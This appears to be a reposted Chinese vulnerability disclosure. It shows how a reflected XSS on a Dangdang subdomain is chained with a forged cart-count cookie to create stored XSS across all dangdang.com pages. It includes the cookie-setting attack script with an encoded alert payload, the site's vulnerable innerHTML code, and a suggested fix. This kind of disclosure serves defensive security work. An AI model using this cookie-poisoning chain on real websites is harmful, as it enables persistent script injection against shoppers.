好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

当当网:二级域反射XSS变身所有域下存储XSS - 网

1.二级甚至三级域下的反射XSS是不是很鸡肋?

2.只能XX自己的XSS是不是更鸡肋?(如更改user-agent可弹框这种,你懂的)

1+2=所有域下存储XSS.

只是为了好玩~~

详细说明:1.登录当当后,页面顶部的用户昵称、购物车数量等是js从COOKIE中读出来加载的,伪造COOKIE即可形成存储型XSS(几乎所有域下,即使用户不登录或退出,都不影响COOKIE里购物车数量,本例XSS有效至2020年,看官按口味可自行调整).

 

 

 

2.找到手机当当下一处反射XSS,加载更改COOKIE中购物车数量的js代码。

dd.js代码:

 

document.cookie = "cart_items_count=%u003c%u0069%u006d%u0067%u0020%u0073%u0072%u0063%u003d%u0031%u0020%u006f%u006e%u0065%u0072%u0072%u006f%u0072%u003d%u0061%u006c%u0065%u0072%u0074%u0028%u0031%u0029%u003e;Domain=dangdang.com;Path=/;expires="+new Date().toGMTString().replace('2013','2020');

location.href="http://www.dangdang.com";

当当解析COOKIE的js部分:

http://www.dangdang.com/Found/pagetop_2012.js

 

if(usernick==""){

        xinshou = "<a name=\"dl\" href=\"java"+"scr"+"ipt:PageTopLogIn();\" target=\"_self\" class=\"login_link\">登录</a><a name=\"zc\" href=\"java"+"scr"+"ipt:PageTopRegist();\" target=\"_self\" class=\"login_link\">免费注册</a>";

    }else{

        chakanlk = " [<a name=\"tc\" href=\"java"+"scr"+"ipt:PageTopSignOut();\" target=\"_self\">退出登录</a>]";

        xinshou = "";

        var cartItemsCount=getCookie_one("cart_items_count","");

        if(cartItemsCount!=null&&cartItemsCount.length>0&&cartItemsCount!="undefined")

        {

            var cic=document.getElementById("cart_items_count");

            if(cic!=''){

                cic.innerHTML="("+cartItemsCount+")";  //这位置,读出COOKIE里的值直接输出在了页面上,造成XSS

            }

        }

    }

视频带感~~

 

密码: ddxss 

修复方案: cic.innerHTML="("+cartItemsCount+")"; 及其它相关位置再次过滤,或不从COOKIE里读取

 

查看更多关于当当网:二级域反射XSS变身所有域下存储XSS - 网的详细内容...

  阅读:33次